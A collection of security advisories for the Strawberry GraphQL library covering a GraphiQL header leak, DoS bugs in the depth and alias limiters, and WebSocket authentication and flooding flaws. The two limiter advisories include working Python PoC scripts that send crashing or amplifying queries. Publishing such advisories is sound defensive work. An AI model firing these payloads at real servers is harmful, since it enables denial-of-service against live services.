Summary
Strawberry's bundled GraphiQL template wrote values from the GraphiQL headers editor into the browser URL query string. If a user entered a sensitive header, such as Authorization: Bearer <token>, the value could become visible in browser history, copied links, and server/proxy/CDN access logs after a page reload or shared request.
Affected Versions
- Affected: strawberry-graphql >= 0.288.4, <= 0.315.3 - Patched: 0.315.4
The vulnerable behavior was introduced by the GraphiQL URL-sharing implementation in commit 9315ef80, first included in release 0.288.4.
Impact
Applications that expose Strawberry's default GraphiQL IDE may leak sensitive HTTP header values entered by users into the GraphiQL headers editor. The default IDE is enabled by graphqlide="graphiql" across Strawberry HTTP integrations unless disabled or replaced by the application.
The exposure is limited to the browser-based IDE. GraphQL query execution is not affected, and this issue does not allow an attacker to directly execute operations or bypass authorization. Practical exploitation requires a user to enter a secret into the GraphiQL headers editor and then expose the resulting URL, for example by refreshing the page, copying the URL, sharing the URL, or causing the URL to be recorded by logging infrastructure.
Technical Details
The bundled strawberry/static/graphiql.html template parsed URL query parameters into a parameters object and used those values to initialize GraphiQL state. It also updated the URL on editor changes using history.replaceState.
Before the fix, header values were handled like shareable query text and variables:
js const [headers, setHeaders] = React.useState(parameters.headers);
function onEditHeaders(newHeaders) { setHeaders(newHeaders); updateURL({ headers: newHeaders }); }
This meant arbitrary header text entered into the IDE could be serialized into ?headers=....
Fix
The GraphiQL template no longer calls updateURL from onEditHeaders. Query and variable URL sharing remain unchanged, and existing URLs with headers=... can still initialize the headers editor. Header persistence via GraphiQL's own shouldPersistHeaders: true behavior remains enabled, so newly edited headers can still persist locally without being placed in the URL.
Workarounds
Until a patched version can be used, applications can mitigate this issue by disabling the bundled IDE in production:
python GraphQLRouter(schema, graphqlide=None)
Equivalent graphqlide=None configuration is available in Strawberry's other HTTP integrations.
Applications can also provide a custom GraphiQL template that does not serialize header values into the URL.
Credits
Reported by @lpschroer.
Summary The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determinedepth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.
Details The determinedepth function in querydepthlimiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.
PoC server code import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import QueryDepthLimiter
@strawberry.type class User: name: str = "GONA"
@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()
Enable depth limiting schema = strawberry.Schema( query=Query, extensions=[QueryDepthLimiter(maxdepth=10)] )
app = FastAPI() app.includerouter(GraphQLRouter(schema), prefix="/graphql")
exploit import httpx
Circular reference: A -> B -> A -> B ... payload = { "query": """ fragment A on User { ...B } fragment B on User { ...A } query Crash { user { ...A } } """ }
try: response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(response.json()) except Exception as e: print(f"Server crashed or timed out: {e}")
Impact Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools
Summary The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.
Details The current implementation of alias counting in strawberry/extensions/maxaliases.py uses a static approach for selection in selectionsetowner.selectionset.selections: if isinstance(selection, FieldNode) and selection.alias: result += 1
if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~: result += countfieldswithalias(selection)
When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is
Total Aliases = query aliases + (num of spreads aliases within fragment)
Because Strawberry only performs a static sum of the text, it misses this multiplication
PoC server code import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import MaxAliasesLimiter
@strawberry.type class User: name: str = "GONA"
@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()
Limit is set to 20 aliases schema = strawberry.Schema( query=Query, extensions=[MaxAliasesLimiter(maxaliascount=20)] )
app = FastAPI() app.includerouter(GraphQLRouter(schema), prefix="/graphql")
payloads import httpx
payload = { "query": """ fragment Amplification on User { a1: name, a2: name, a3: name, a4: name, a5: name, a6: name, a7: name, a8: name, a9: name, a10: name } query Bypass { u1: user { ...Amplification } u2: user { ...Amplification } u3: user { ...Amplification } u4: user { ...Amplification } u5: user { ...Amplification } u6: user { ...Amplification } u7: user { ...Amplification } u8: user { ...Amplification } u9: user { ...Amplification } u10: user { ...Amplification } } """ }
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(f"Status: {response.statuscode}") The response will contain 100 'a' aliases nested within 10 'u' aliases. print(response.json())
Impact An attacker can bypass security constraints to cause Application-level DOS. By staying just under the maxaliascount limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory
Strawberry GraphQL is a library for creating GraphQL APIs. Strawberry up until version 0.312.3 is vulnerable to an authentication bypass on WebSocket subscription endpoints. The legacy graphql-ws subprotocol handler does not verify that a connectioninit handshake has been completed before processing start (subscription) messages. This allows a remote attacker to skip the onwsconnect authentication hook entirely by connecting with the graphql-ws subprotocol and sending a start message directly, without ever sending connectioninit. This vulnerability is fixed in 0.312.3.
Strawberry GraphQL is a library for creating GraphQL APIs. Prior to 0.312.3, Strawberry GraphQL's WebSocket subscription handlers for both the graphql-transport-ws and legacy graphql-ws protocols allocate an asyncio.Task and associated Operation object for every incoming subscribe message without enforcing any limit on the number of active subscriptions per connection. An unauthenticated attacker can open a single WebSocket connection, send connectioninit, and then flood subscribe messages with unique IDs. Each message unconditionally spawns a new asyncio.Task and async generator, causing linear memory growth and event loop saturation. This leads to server degradation or an OOM crash. This vulnerability is fixed in 0.312.3.